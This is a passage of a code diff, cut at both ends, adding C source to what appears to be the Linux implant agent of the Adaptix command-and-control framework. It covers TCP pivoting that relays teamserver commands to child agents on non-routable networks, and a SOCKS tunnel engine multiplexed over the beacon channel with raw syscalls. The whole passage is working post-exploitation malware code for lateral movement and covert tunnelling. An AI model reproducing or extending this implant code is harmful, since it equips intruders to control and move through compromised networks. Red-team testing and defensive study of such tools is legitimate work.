+ total += (size_t)n;
+ }
+ return 0;
+}
+
+/// Read a length-prefixed message from child: [4B BE length][payload]
+/// Returns payload (caller frees) and sets *out_len. Returns NULL on failure.
+static uint8_t *pivot_recv_msg(int fd, uint32_t *out_len) {
+ uint8_t hdr[4];
+ if (pivot_read_exact(fd, hdr, 4) != 0) return (uint8_t *)0;
+
+ uint32_t msg_len = ((uint32_t)hdr[0] << 24) | ((uint32_t)hdr[1] << 16) |
+ ((uint32_t)hdr[2] << 8) | hdr[3];
+ if (msg_len == 0 || msg_len > 64 * 1024 * 1024) return (uint8_t *)0;
+
+ uint8_t *buf = (uint8_t *)ax_malloc(msg_len);
+ if (!buf) return (uint8_t *)0;
+
+ if (pivot_read_exact(fd, buf, msg_len) != 0) {
+ ax_free(buf);
+ return (uint8_t *)0;
+ }
+
+ *out_len = msg_len;
+ return buf;
+}
+
+/// Send a length-prefixed message to child: [4B BE length][payload]
+static int pivot_send_msg(int fd, const uint8_t *data, uint32_t data_len) {
+ uint8_t hdr[4] = {
+ (uint8_t)(data_len >> 24), (uint8_t)(data_len >> 16),
+ (uint8_t)(data_len >> 8), (uint8_t)data_len
+ };
+ if (pivot_write_exact(fd, hdr, 4) != 0) return -1;
+ if (pivot_write_exact(fd, data, data_len) != 0) return -1;
+ return 0;
+}
+
+// ── Link TCP ──
+
+int pivot_link_tcp(pivot_context_t *ctx, uint32_t task_id,
+ const char *address, int port,
+ mp_writer_t *response) {
+ // Find free slot
+ int slot = -1;
+ for (int i = 0; i < MAX_PIVOTS; i++) {
+ if (!ctx->entries[i].active) {
+ slot = i;
+ break;
+ }
+ }
+ if (slot < 0) {
+ mp_write_map(response, 1);
+ mp_write_kv_str(response, "error", "Max pivots reached");
+ return -1;
+ }
+
+ // Parse address
+ uint32_t ip;
+ uint16_t net_port;
+ if (pivot_parse_addr(address, port, &ip, &net_port) != 0) {
+ mp_write_map(response, 1);
+ mp_write_kv_str(response, "error", "Invalid address");
+ return -1;
+ }
+
+ // Create socket + non-blocking connect with timeout
+ int fd = sys_socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
+ if (fd < 0) {
+ mp_write_map(response, 1);
+ mp_write_kv_str(response, "error", "Socket creation failed");
+ return -1;
+ }
+
+ struct pivot_sockaddr_in addr;
+ ax_memset(&addr, 0, sizeof(addr));
+ addr.sin_family = AF_INET;
+ addr.sin_port = net_port;
+ addr.sin_addr = ip;
+
+ // Set non-blocking for connect timeout
+ long orig_flags = sys_fcntl(fd, F_GETFL, 0);
+ sys_fcntl(fd, F_SETFL, orig_flags | O_NONBLOCK);
+
+ int conn_ret = sys_connect(fd, &addr, sizeof(addr));
+ if (conn_ret != 0 && conn_ret != -EINPROGRESS) {
+ sys_close(fd);
+ mp_write_map(response, 1);
+ mp_write_kv_str(response, "error", "Connection refused");
+ return -1;
+ }
+
+ if (conn_ret == -EINPROGRESS) {
+ // Wait for connection with timeout using pselect6
+ linux_fd_set writefds;
+ FD_ZERO(&writefds);
+ FD_SET(fd, &writefds);
+
+ struct linux_timespec conn_timeout = { .tv_sec = PIVOT_CONNECT_TIMEOUT, .tv_nsec = 0 };
+ int ready = sys_pselect6(fd + 1, (void *)0, &writefds, (void *)0, &conn_timeout, (void *)0);
+
+ if (ready <= 0) {
+ sys_close(fd);
+ mp_write_map(response, 1);
+ mp_write_kv_str(response, "error", "Connection timed out");
+ return -1;
+ }
+
+ // Check SO_ERROR to verify connection succeeded
+ int sock_err = 0;
+ unsigned int err_len = sizeof(sock_err);
+ sys_getsockopt(fd, SOL_SOCKET, SO_ERROR, &sock_err, &err_len);
+ if (sock_err != 0) {
+ sys_close(fd);
+ mp_write_map(response, 1);
+ mp_write_kv_str(response, "error", "Connection refused");
+ return -1;
+ }
+ }
+
+ // Restore blocking mode for subsequent read/write
+ sys_fcntl(fd, F_SETFL, orig_flags);
+
+ // Read handshake from child agent:
+ // The child sends its init message as [4B BE length][encrypted_data]
+ // The encrypted_data contains the watermark (first 4 bytes) + beat
+ // We need to read the full message and pass it back to the teamserver
+ uint32_t beat_len = 0;
+ uint8_t *beat_data = pivot_recv_msg(fd, &beat_len);
+ if (!beat_data || beat_len < 4) {
+ if (beat_data) ax_free(beat_data);
+ sys_close(fd);
+ mp_write_map(response, 1);
+ mp_write_kv_str(response, "error", "Handshake failed");
+ return -1;
+ }
+
+ // Store pivot
+ ctx->entries[slot].id = task_id;
+ ctx->entries[slot].fd = fd;
+ ctx->entries[slot].active = 1;
+ ctx->count++;
+
+ // Build response: {type: PIVOT_TYPE_TCP, watermark: uint32, beat: bytes}
+ // The watermark is the first 4 bytes of the beat data (agent's watermark)
+ uint32_t watermark = ((uint32_t)beat_data[0] << 24) | ((uint32_t)beat_data[1] << 16) |
+ ((uint32_t)beat_data[2] << 8) | beat_data[3];
+
+ mp_write_map(response, 3);
+ mp_write_kv_uint(response, "type", PIVOT_TYPE_TCP);
+ mp_write_kv_uint(response, "watermark", watermark);
+ mp_write_kv_bin(response, "beat", beat_data + 4, beat_len - 4);
+
+ ax_free(beat_data);
+ return 0;
+}
+
+// ── Unlink ──
+
+int pivot_unlink(pivot_context_t *ctx, uint32_t pivot_id,
+ mp_writer_t *response) {
+ for (int i = 0; i < MAX_PIVOTS; i++) {
+ if (ctx->entries[i].active && ctx->entries[i].id == pivot_id) {
+ sys_close(ctx->entries[i].fd);
+ ctx->entries[i].active = 0;
+ ctx->entries[i].fd = -1;
+ ctx->count--;
+
+ mp_write_map(response, 2);
+ mp_write_kv_uint(response, "pivot_id", pivot_id);
+ mp_write_kv_uint(response, "type", PIVOT_TYPE_TCP);
+ return 0;
+ }
+ }
+
+ mp_write_map(response, 2);
+ mp_write_kv_uint(response, "pivot_id", pivot_id);
+ mp_write_kv_uint(response, "type", 0);
+ return -1;
+}
+
+// ── Write to pivot (relay from teamserver to child) ──
+
+int pivot_write(pivot_context_t *ctx, uint32_t pivot_id,
+ const uint8_t *data, uint32_t data_len) {
+ if (!data || data_len == 0) return -1;
+
+ for (int i = 0; i < MAX_PIVOTS; i++) {
+ if (ctx->entries[i].active && ctx->entries[i].id == pivot_id) {
+ return pivot_send_msg(ctx->entries[i].fd, data, data_len);
+ }
+ }
+ return -1;
+}
+
+// ── Process pivots (poll child sockets for incoming data) ──
+
+int process_pivots(pivot_context_t *ctx, mp_writer_t *objects_writer) {
+ if (ctx->count == 0) return 0;
+
+ int appended = 0;
+
+ for (int i = 0; i < MAX_PIVOTS; i++) {
+ if (!ctx->entries[i].active) continue;
+
+ int fd = ctx->entries[i].fd;
+
+ // Non-blocking check: use pselect6 with zero timeout
+ linux_fd_set readfds;
+ FD_ZERO(&readfds);
+ FD_SET(fd, &readfds);
+
+ struct linux_timespec timeout = { .tv_sec = 0, .tv_nsec = 0 };
+ int ready = sys_pselect6(fd + 1, &readfds, (void *)0, (void *)0, &timeout, (void *)0);
+
+ if (ready > 0 && FD_ISSET(fd, &readfds)) {
+ // Data available — try to read a length-prefixed message
+ uint32_t msg_len = 0;
+ uint8_t *msg_data = pivot_recv_msg(fd, &msg_len);
+
+ if (msg_data && msg_len > 0) {
+ // Build a Command{code: PIVOT_EXEC, id: 0, data: {pivot_id, data}}
+ mp_writer_t inner;
+ mp_writer_init(&inner, 64);
+ mp_write_map(&inner, 2);
+ mp_write_kv_uint(&inner, "pivot_id", ctx->entries[i].id);
+ mp_write_kv_bin(&inner, "data", msg_data, msg_len);
+
+ mp_writer_t cmd;
+ mp_writer_init(&cmd, 128);
+ mp_write_map(&cmd, 3);
+ mp_write_kv_uint(&cmd, "code", COMMAND_PIVOT_EXEC);
+ mp_write_kv_uint(&cmd, "id", 0);
+ mp_write_kv_bin(&cmd, "data", inner.buf.data, (uint32_t)inner.buf.len);
+
+ // Append to the objects array
+ mp_write_bin(objects_writer, cmd.buf.data, (uint32_t)cmd.buf.len);
+
+ mp_writer_free(&inner);
+ mp_writer_free(&cmd);
+ ax_free(msg_data);
+ appended++;
+ } else {
+ // Connection lost — auto-disconnect
+ sys_close(fd);
+
+ // Build unlink notification
+ mp_writer_t inner;
+ mp_writer_init(&inner, 32);
+ mp_write_map(&inner, 2);
+ mp_write_kv_uint(&inner, "pivot_id", ctx->entries[i].id);
+ mp_write_kv_uint(&inner, "type", PIVOT_TYPE_DISCONNECT);
+
+ mp_writer_t cmd;
+ mp_writer_init(&cmd, 64);
+ mp_write_map(&cmd, 3);
+ mp_write_kv_uint(&cmd, "code", COMMAND_UNLINK);
+ mp_write_kv_uint(&cmd, "id", 0);
+ mp_write_kv_bin(&cmd, "data", inner.buf.data, (uint32_t)inner.buf.len);
+
+ mp_write_bin(objects_writer, cmd.buf.data, (uint32_t)cmd.buf.len);
+
+ mp_writer_free(&inner);
+ mp_writer_free(&cmd);
+
+ ctx->entries[i].active = 0;
+ ctx->entries[i].fd = -1;
+ ctx->count--;
+ appended++;
+ }
+ }
+ }
+
+ return appended;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h
new file mode 100644
index 000000000..75b18dece
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/pivot.h
@@ -0,0 +1,60 @@
+#ifndef PIVOT_H
+#define PIVOT_H
+
+#include "types.h"
+#include "msgpack.h"
+#include
+
+/// TCP pivot relay -- allows parent agent to relay traffic to/from child agents
+/// on non-routable networks. Linux-only, TCP transport.
+///
+/// Flow:
+/// 1. Teamserver sends COMMAND_LINK(address, port) to parent agent
+/// 2. Parent connects to child via TCP, reads handshake (4B watermark + beat)
+/// 3. Parent returns {type, watermark, beat} to teamserver
+/// 4. Teamserver sends COMMAND_PIVOT_EXEC(pivotId, data) for relay to child
+/// 5. Parent polls child sockets in process_pivots(), relays data back
+/// 6. Teamserver sends COMMAND_UNLINK(pivotId) to tear down
+
+#define MAX_PIVOTS 32
+
+typedef struct {
+ uint32_t id; /* pivot ID = task ID from COMMAND_LINK */
+ int fd; /* TCP socket to child agent */
+ int active; /* 1 = live, 0 = free slot */
+} pivot_entry_t;
+
+typedef struct {
+ pivot_entry_t entries[MAX_PIVOTS];
+ int count;
+} pivot_context_t;
+
+/// Initialize pivot context
+void pivots_init(pivot_context_t *ctx);
+
+/// Link: connect to child agent at address:port, read handshake,
+/// store pivot entry. Writes response data to `response`.
+/// Returns 0 on success, -1 on error.
+int pivot_link_tcp(pivot_context_t *ctx, uint32_t task_id,
+ const char *address, int port,
+ mp_writer_t *response);
+
+/// Unlink: close a pivot by ID. Writes response to `response`.
+/// Returns 0 on success, -1 if not found.
+int pivot_unlink(pivot_context_t *ctx, uint32_t pivot_id,
+ mp_writer_t *response);
+
+/// Write data to a pivot's child agent (relay from teamserver).
+/// Used for COMMAND_PIVOT_EXEC from server→child direction.
+int pivot_write(pivot_context_t *ctx, uint32_t pivot_id,
+ const uint8_t *data, uint32_t data_len);
+
+/// Poll all active pivots for incoming data from child agents.
+/// Appends relay response objects to `objects_writer` (msgpack array context).
+/// Returns the number of pivot data objects appended.
+int process_pivots(pivot_context_t *ctx, mp_writer_t *objects_writer);
+
+/// Global pivot context (defined in pivot.c)
+extern pivot_context_t g_pivot_ctx;
+
+#endif /* PIVOT_H */
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c
new file mode 100644
index 000000000..90e665992
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.c
@@ -0,0 +1,536 @@
+/// proxyfire.c -- MUX tunnel engine for SOCKS proxy (beacon Proxyfire pattern)
+///
+/// All tunnel data is packed into the main communication channel.
+/// Zero threads -- non-blocking polling in main loop via process_tunnels().
+
+#include "proxyfire.h"
+#include "jobs.h"
+#include "crt.h"
+#include "types.h"
+
+#ifdef BUILD_SO
+#include "elf_resolve.h"
+#else
+#ifdef ARCH_X86_64
+#include "syscalls_x64.h"
+#endif
+#ifdef ARCH_AARCH64
+#include "syscalls_aarch64.h"
+#endif
+#endif
+
+// ── Constants ──
+
+#ifndef AF_INET
+#define AF_INET 2
+#define SOCK_STREAM 1
+#define SOL_SOCKET 1
+#define SO_ERROR 4
+#endif
+#ifndef O_NONBLOCK
+#define O_NONBLOCK 04000
+#endif
+#ifndef F_SETFL
+#define F_SETFL 4
+#define F_GETFL 3
+#endif
+#ifndef EINPROGRESS
+#define EINPROGRESS 115
+#endif
+
+#define RECV_CHUNK_SIZE (64 * 1024) /* 64 KB per tunnel per cycle */
+#define MAX_OBJ_SIZE (4 * 1024 * 1024) /* stop RecvProxy if collector > 4MB */
+
+// ── Abstraction macros (same as tasks_net.c) ──
+
+#ifdef BUILD_SO
+#define PF_socket(d,t,p) R_socket(d,t,p)
+#define PF_connect(s,a,l) R_connect(s,a,l)
+#define PF_close(fd) R_close(fd)
+#define PF_read(fd,b,n) R_read(fd,b,n)
+#define PF_write(fd,b,n) R_write(fd,b,n)
+#define PF_fcntl(fd,c,a) R_fcntl(fd,c,a)
+#define PF_getsockopt(s,l,o,v,n) R_getsockopt(s,l,o,v,n)
+#define PF_select(n,r,w,e,t) R_select(n,r,w,e,t)
+#else
+#define PF_socket(d,t,p) sys_socket(d,t,p)
+#define PF_connect(s,a,l) sys_connect(s,a,l)
+#define PF_close(fd) sys_close(fd)
+#define PF_read(fd,b,n) sys_read(fd,b,n)
+#define PF_write(fd,b,n) sys_write(fd,b,n)
+#define PF_fcntl(fd,c,a) sys_fcntl(fd,c,a)
+#define PF_getsockopt(s,l,o,v,n) sys_getsockopt(s,l,o,v,n)
+#endif
+
+// ── fd_set (manual, no libc) ──
+
+typedef struct {
+ unsigned long fds_bits[1024 / (8 * sizeof(unsigned long))];
+} pf_fd_set;
+
+static void pf_fd_zero(pf_fd_set *s) {
+ ax_memset(s, 0, sizeof(pf_fd_set));
+}
+
+static void pf_fd_set_bit(int fd, pf_fd_set *s) {
+ s->fds_bits[fd / (8 * sizeof(unsigned long))] |= (1UL << (fd % (8 * sizeof(unsigned long))));
+}
+
+static int pf_fd_is_set(int fd, pf_fd_set *s) {
+ return (s->fds_bits[fd / (8 * sizeof(unsigned long))] >> (fd % (8 * sizeof(unsigned long)))) & 1;
+}
+
+/// pselect6 wrapper with zero timeout (non-blocking poll)
+static int pf_select_zero(int nfds, pf_fd_set *rfds, pf_fd_set *wfds) {
+#ifdef BUILD_SO
+ struct { long tv_sec; long tv_usec; } tv = {0, 0};
+ return PF_select(nfds, rfds, wfds, (void*)0, &tv);
+#else
+ struct linux_timespec ts = { .tv_sec = 0, .tv_nsec = 0 };
+ return sys_pselect6(nfds, rfds, wfds, (void*)0, &ts, (void*)0);
+#endif
+}
+
+/// Get a monotonic-ish timestamp (seconds). For connect timeout tracking.
+static uint32_t pf_now_sec(void) {
+#ifdef BUILD_SO
+ // SO mode -- no clock_gettime resolved, use nanosleep-based counter
+ // Actually just use a simple counter incremented by main loop ticks.
+ // For simplicity, we use the jiffies approach: read /proc/uptime.
+ // But that's heavy. Instead, track elapsed via tunnel connect_start.
+ // Return 0 — caller uses diff, so we need actual time.
+ // Fallback: read /proc/uptime
+ static uint32_t cached = 0;
+ int fd = R_open("/proc/uptime", 0, 0);
+ if (fd >= 0) {
+ char buf[32] = {0};
+ R_read(fd, buf, sizeof(buf) - 1);
+ R_close(fd);
+ // Parse integer part of uptime
+ uint32_t secs = 0;
+ for (int i = 0; buf[i] && buf[i] != '.'; i++) {
+ if (buf[i] >= '0' && buf[i] <= '9')
+ secs = secs * 10 + (buf[i] - '0');
+ }
+ cached = secs;
+ }
+ return cached;
+#else
+ // Static mode: read /proc/uptime via syscall
+ int fd = sys_open("/proc/uptime", 0 /*O_RDONLY*/, 0);
+ if (fd >= 0) {
+ char buf[32] = {0};
+ sys_read(fd, buf, sizeof(buf) - 1);
+ sys_close(fd);
+ uint32_t secs = 0;
+ for (int i = 0; buf[i] && buf[i] != '.'; i++) {
+ if (buf[i] >= '0' && buf[i] <= '9')
+ secs = secs * 10 + (buf[i] - '0');
+ }
+ return secs;
+ }
+ return 0;
+#endif
+}
+
+// ── Helper: pack a tunnel response Command into obj_collector ──
+
+static void pack_tunnel_cmd(mp_writer_t *collector, uint32_t code,
+ const uint8_t *inner_data, uint32_t inner_len) {
+ mp_writer_t cmd;
+ mp_writer_init(&cmd, 128);
+ mp_write_map(&cmd, 3);
+ mp_write_kv_uint(&cmd, "code", code);
+ mp_write_kv_uint(&cmd, "id", 0);
+ mp_write_kv_bin(&cmd, "data", inner_data, inner_len);
+
+ mp_write_bin(collector, cmd.buf.data, (uint32_t)cmd.buf.len);
+ mp_writer_free(&cmd);
+}
+
+/// Pack TUNNEL_STATUS {channel_id, success, reason}
+static void pack_tunnel_status(mp_writer_t *collector, int channel_id,
+ int success, int reason) {
+ mp_writer_t inner;
+ mp_writer_init(&inner, 32);
+ mp_write_map(&inner, 3);
+ mp_write_kv_int(&inner, "channel_id", channel_id);
+ mp_write_kv_bool(&inner, "success", success ? true : false);
+ mp_write_kv_int(&inner, "reason", reason);
+
+ pack_tunnel_cmd(collector, COMMAND_TUNNEL_STATUS,
+ inner.buf.data, (uint32_t)inner.buf.len);
+ mp_writer_free(&inner);
+}
+
+/// Pack TUNNEL_DATA {channel_id, data}
+static void pack_tunnel_data(mp_writer_t *collector, int channel_id,
+ const uint8_t *data, uint32_t len) {
+ mp_writer_t inner;
+ mp_writer_init(&inner, 32 + len);
+ mp_write_map(&inner, 2);
+ mp_write_kv_int(&inner, "channel_id", channel_id);
+ mp_write_kv_bin(&inner, "data", data, len);
+
+ pack_tunnel_cmd(collector, COMMAND_TUNNEL_DATA,
+ inner.buf.data, (uint32_t)inner.buf.len);
+ mp_writer_free(&inner);
+}
+
+/// Pack TUNNEL_CLOSE {channel_id, reason}
+static void pack_tunnel_close(mp_writer_t *collector, int channel_id, int reason) {
+ mp_writer_t inner;
+ mp_writer_init(&inner, 32);
+ mp_write_map(&inner, 2);
+ mp_write_kv_int(&inner, "channel_id", channel_id);
+ mp_write_kv_int(&inner, "reason", reason);
+
+ pack_tunnel_cmd(collector, COMMAND_TUNNEL_CLOSE,
+ inner.buf.data, (uint32_t)inner.buf.len);
+ mp_writer_free(&inner);
+}
+
+// ── Parse IP:port and create non-blocking socket ──
+
+static int parse_and_connect(const char *address, int *out_fd) {
+ char host_buf[256] = {0};
+ uint16_t port = 0;
+ const char *colon = (const char *)0;
+
+ for (const char *p = address; *p; p++) {
+ if (*p == ':') colon = p;
+ }
+ if (!colon) return -1;
+
+ size_t hlen = (size_t)(colon - address);
+ if (hlen >= sizeof(host_buf)) return -1;
+ ax_memcpy(host_buf, address, hlen);
+ host_buf[hlen] = '\0';
+
+ for (const char *p = colon + 1; *p >= '0' && *p <= '9'; p++)
+ port = port * 10 + (uint16_t)(*p - '0');
+ if (port == 0) return -1;
+
+ struct {
+ uint16_t sin_family;
+ uint16_t sin_port;
+ uint32_t sin_addr;
+ uint8_t sin_zero[8];
+ } addr;
+ ax_memset(&addr, 0, sizeof(addr));
+ addr.sin_family = AF_INET;
+ addr.sin_port = ((port >> 8) & 0xFF) | ((port & 0xFF) << 8);
+
+ uint32_t octets[4] = {0};
+ int oidx = 0;
+ for (const char *p = host_buf; *p && oidx < 4; p++) {
+ if (*p == '.') oidx++;
+ else if (*p >= '0' && *p <= '9') octets[oidx] = octets[oidx] * 10 + (*p - '0');
+ }
+ addr.sin_addr = octets[0] | (octets[1] << 8) | (octets[2] << 16) | (octets[3] << 24);
+
+ int fd = PF_socket(AF_INET, SOCK_STREAM, 0);
+ if (fd < 0) return -1;
+
+ // Non-blocking
+ PF_fcntl(fd, F_SETFL, O_NONBLOCK);
+
+ int cr = PF_connect(fd, &addr, sizeof(addr));
+ if (cr == 0) {
+ // Immediate success (unlikely but possible on localhost)
+ *out_fd = fd;
+ return 1; // 1 = already connected
+ }
+
+ // Check for EINPROGRESS (connection in progress)
+ // On Linux, connect() returns -EINPROGRESS for static syscalls
+ // and -1 with errno=EINPROGRESS for libc. We check both patterns.
+ if (cr == -EINPROGRESS || cr == -1) {
+ *out_fd = fd;
+ return 0; // 0 = connecting
+ }
+
+ PF_close(fd);
+ return -1; // error
+}
+
+// ══════════════════════════════════════════════════════
+// Public API
+// ══════════════════════════════════════════════════════
+
+int proxy_connect_tcp(int tunnel_idx, const char *address) {
+ job_context_t *ctx = &g_job_ctx;
+ tunnel_entry_t *tun = &ctx->tunnels[tunnel_idx];
+
+ int fd = -1;
+ int ret = parse_and_connect(address, &fd);
+
+ if (ret < 0) {
+ // Immediate failure
+ tun->client_fd = -1;
+ tun->state = TUNNEL_STATE_CLOSED;
+ return -1;
+ }
+
+ tun->client_fd = fd;
+ if (ret == 1) {
+ // Already connected
+ tun->state = TUNNEL_STATE_READY;
+ } else {
+ // Connection in progress
+ tun->state = TUNNEL_STATE_CONNECTING;
+ tun->connect_start = pf_now_sec();
+ }
+
+ return 0;
+}
+
+void proxy_write_tcp(int channel_id, const uint8_t *data, uint32_t len) {
+ job_context_t *ctx = &g_job_ctx;
+
+ jobs_mutex_lock(&ctx->tunnels_mutex);
+ int idx = tunnels_find(ctx, channel_id);
+ if (idx < 0) {
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+ return;
+ }
+
+ tunnel_entry_t *tun = &ctx->tunnels[idx];
+ if (!tun->active || tun->state == TUNNEL_STATE_CLOSED) {
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+ return;
+ }
+
+ // Grow write_buf if needed
+ uint32_t needed = tun->write_len + len;
+ if (needed > tun->write_cap) {
+ uint32_t new_cap = tun->write_cap ? tun->write_cap : 4096;
+ while (new_cap < needed) new_cap *= 2;
+ uint8_t *new_buf = (uint8_t *)ax_realloc(tun->write_buf, new_cap);
+ if (!new_buf) {
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+ return;
+ }
+ tun->write_buf = new_buf;
+ tun->write_cap = new_cap;
+ }
+
+ ax_memcpy(tun->write_buf + tun->write_len, data, len);
+ tun->write_len += len;
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+}
+
+void proxy_pause(int channel_id) {
+ job_context_t *ctx = &g_job_ctx;
+ jobs_mutex_lock(&ctx->tunnels_mutex);
+ int idx = tunnels_find(ctx, channel_id);
+ if (idx >= 0) ctx->tunnels[idx].paused = 1;
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+}
+
+void proxy_resume(int channel_id) {
+ job_context_t *ctx = &g_job_ctx;
+ jobs_mutex_lock(&ctx->tunnels_mutex);
+ int idx = tunnels_find(ctx, channel_id);
+ if (idx >= 0) ctx->tunnels[idx].paused = 0;
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+}
+
+void proxy_close(int channel_id) {
+ job_context_t *ctx = &g_job_ctx;
+ jobs_mutex_lock(&ctx->tunnels_mutex);
+ int idx = tunnels_find(ctx, channel_id);
+ if (idx >= 0) {
+ ctx->tunnels[idx].state = TUNNEL_STATE_CLOSED;
+ }
+ jobs_mutex_unlock(&ctx->tunnels_mutex);
+}
+
+// ══════════════════════════════════════════════════════
+// process_tunnels -- main loop polling (beacon pattern)
+// ══════════════════════════════════════════════════════
+
+int process_tunnels(mp_writer_t *obj_collector) {
+ job_context_t *ctx = &g_job_ctx;
+ int appended = 0;
+ uint32_t now = pf_now_sec();
+
+ // ────────────────────────────────────────
+ // Stage 1: CheckProxy -- poll connecting sockets
+ // ────────────────────────────────────────
+ for (int i = 0; i < MAX_TUNNELS; i++) {
+ if (!ctx->tunnels[i].active) continue;
+ if (ctx->tunnels[i].state != TUNNEL_STATE_CONNECTING) continue;
+
+ tunnel_entry_t *tun = &ctx->tunnels[i];
+
+ // Timeout check
+ if (now - tun->connect_start > TUNNEL_CONNECT_TIMEOUT) {
+ PF_close(tun->client_fd);
+ tun->client_fd = -1;
+ tun->state = TUNNEL_STATE_CLOSED;
+ pack_tunnel_status(obj_collector, tun->channel_id, 0, 4 /*timeout*/);
+ appended++;
+ continue;
+ }
+
+ // Poll for writability (connect complete)
+ pf_fd_set wfds;
+ pf_fd_zero(&wfds);
+ pf_fd_set_bit(tun->client_fd, &wfds);
+
+ int sr = pf_select_zero(tun->client_fd + 1, (pf_fd_set *)0, &wfds);
+ if (sr <= 0) continue; // not ready yet
+
+ if (pf_fd_is_set(tun->client_fd, &wfds)) {
+ int err = 0;
+ unsigned int errlen = sizeof(err);
+ PF_getsockopt(tun->client_fd, SOL_SOCKET, SO_ERROR, &err, &errlen);
+
+ if (err == 0) {
+ tun->state = TUNNEL_STATE_READY;
+ pack_tunnel_status(obj_collector, tun->channel_id, 1, 0);
+ } else {
+ PF_close(tun->client_fd);
+ tun->client_fd = -1;
+ tun->state = TUNNEL_STATE_CLOSED;
+ pack_tunnel_status(obj_collector, tun->channel_id, 0, 5 /*refused*/);
+ }
+ appended++;
+ }
+ }
+
+ // ────────────────────────────────────────
+ // Stage 2: FlushProxy -- write buffered data to target sockets
+ // ────────────────────────────────────────
+ for (int i = 0; i < MAX_TUNNELS; i++) {
+ if (!ctx->tunnels[i].active) continue;
+ if (ctx->tunnels[i].state != TUNNEL_STATE_READY) continue;
+ if (ctx->tunnels[i].write_len == 0) continue;
+
+ tunnel_entry_t *tun = &ctx->tunnels[i];
+
+ // Non-blocking write
+ long n = PF_write(tun->client_fd, tun->write_buf, tun->write_len);
+ if (n > 0) {
+ // Shift remaining data
+ uint32_t remaining = tun->write_len - (uint32_t)n;
+ if (remaining > 0) {
+ // Use manual byte-by-byte copy (memmove equivalent, safe for overlap)
+ uint8_t *dst = tun->write_buf;
+ uint8_t *src = tun->write_buf + n;
+ for (uint32_t j = 0; j < remaining; j++)
+ dst[j] = src[j];
+ }
+ tun->write_len = remaining;
+
+ // Check backpressure: if we were paused and buffer dropped, send RESUME
+ if (tun->agent_paused && tun->write_len < TUNNEL_LOW_WATERMARK) {
+ tun->agent_paused = 0;
+ // Pack TUNNEL_RESUME as response to teamserver
+ mp_writer_t inner;
+ mp_writer_init(&inner, 16);
+ mp_write_map(&inner, 1);
+ mp_write_kv_int(&inner, "channel_id", tun->channel_id);
+ pack_tunnel_cmd(obj_collector, COMMAND_TUNNEL_RESUME,
+ inner.buf.data, (uint32_t)inner.buf.len);
+ mp_writer_free(&inner);
+ appended++;
+ }
+ } else if (n == 0 || (n < 0 && n != -11 /*EAGAIN*/)) {
+ // Write error or EOF → close
+ tun->state = TUNNEL_STATE_CLOSED;
+ }
+
+ // Backpressure: buffer too large → tell teamserver to pause
+ if (!tun->agent_paused && tun->write_len > TUNNEL_HIGH_WATERMARK) {
+ tun->agent_paused = 1;
+ mp_writer_t inner;
+ mp_writer_init(&inner, 16);
+ mp_write_map(&inner, 1);
+ mp_write_kv_int(&inner, "channel_id", tun->channel_id);
+ pack_tunnel_cmd(obj_collector, COMMAND_TUNNEL_PAUSE,
+ inner.buf.data, (uint32_t)inner.buf.len);
+ mp_writer_free(&inner);
+ appended++;
+ }
+
+ // Hard cap: kill the channel
+ if (tun->write_len > TUNNEL_HARD_CAP) {
+ tun->state = TUNNEL_STATE_CLOSED;
+ }
+ }
+
+ // ────────────────────────────────────────
+ // Stage 3: RecvProxy -- read from target sockets, pack TUNNEL_DATA
+ // ────────────────────────────────────────
+ uint8_t recv_buf[RECV_CHUNK_SIZE];
+
+ for (int i = 0; i < MAX_TUNNELS; i++) {
+ if (!ctx->tunnels[i].active) continue;
+ if (ctx->tunnels[i].state != TUNNEL_STATE_READY) continue;
+ if (ctx->tunnels[i].paused) continue;
+
+ // Stop if collector is already large (packer size limit)
+ if (obj_collector->buf.len > (int)MAX_OBJ_SIZE) break;
+
+ tunnel_entry_t *tun = &ctx->tunnels[i];
+
+ // Non-blocking read check
+ pf_fd_set rfds;
+ pf_fd_zero(&rfds);
+ pf_fd_set_bit(tun->client_fd, &rfds);
+
+ int sr = pf_select_zero(tun->client_fd + 1, &rfds, (pf_fd_set *)0);
+ if (sr <= 0) continue;
+
+ if (pf_fd_is_set(tun->client_fd, &rfds)) {
+ long n = PF_read(tun->client_fd, recv_buf, RECV_CHUNK_SIZE);
+ if (n > 0) {
+ pack_tunnel_data(obj_collector, tun->channel_id,
+ recv_buf, (uint32_t)n);
+ appended++;
+ } else if (n == 0) {
+ // EOF — target closed the connection
+ tun->state = TUNNEL_STATE_CLOSED;
+ } else if (n != -11 /*EAGAIN*/) {
+ // Read error
+ tun->state = TUNNEL_STATE_CLOSED;
+ }
+ }
+ }
+
+ // ────────────────────────────────────────
+ // Stage 4: CloseProxy -- cleanup closed tunnels
+ // ────────────────────────────────────────
+ for (int i = 0; i < MAX_TUNNELS; i++) {
+ if (!ctx->tunnels[i].active) continue;
+ if (ctx->tunnels[i].state != TUNNEL_STATE_CLOSED) continue;
+
+ tunnel_entry_t *tun = &ctx->tunnels[i];
+
+ // Close socket if still open
+ if (tun->client_fd >= 0) {
+ PF_close(tun->client_fd);
+ tun->client_fd = -1;
+ }
+
+ // Free write buffer
+ if (tun->write_buf) {
+ ax_free(tun->write_buf);
+ tun->write_buf = (uint8_t *)0;
+ }
+ tun->write_len = 0;
+ tun->write_cap = 0;
+
+ // Pack close notification
+ pack_tunnel_close(obj_collector, tun->channel_id, 0);
+ appended++;
+
+ // Mark slot as free
+ tun->active = 0;
+ tun->channel_id = 0;
+ }
+
+ return appended;
+}
diff --git a/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h
new file mode 100644
index 000000000..909f6e394
--- /dev/null
+++ b/AdaptixServer/extenders/linux_agent/src_agent/agent/proxyfire.h
@@ -0,0 +1,50 @@
+#ifndef PROXYFIRE_H
+#define PROXYFIRE_H
+
+#include "types.h"
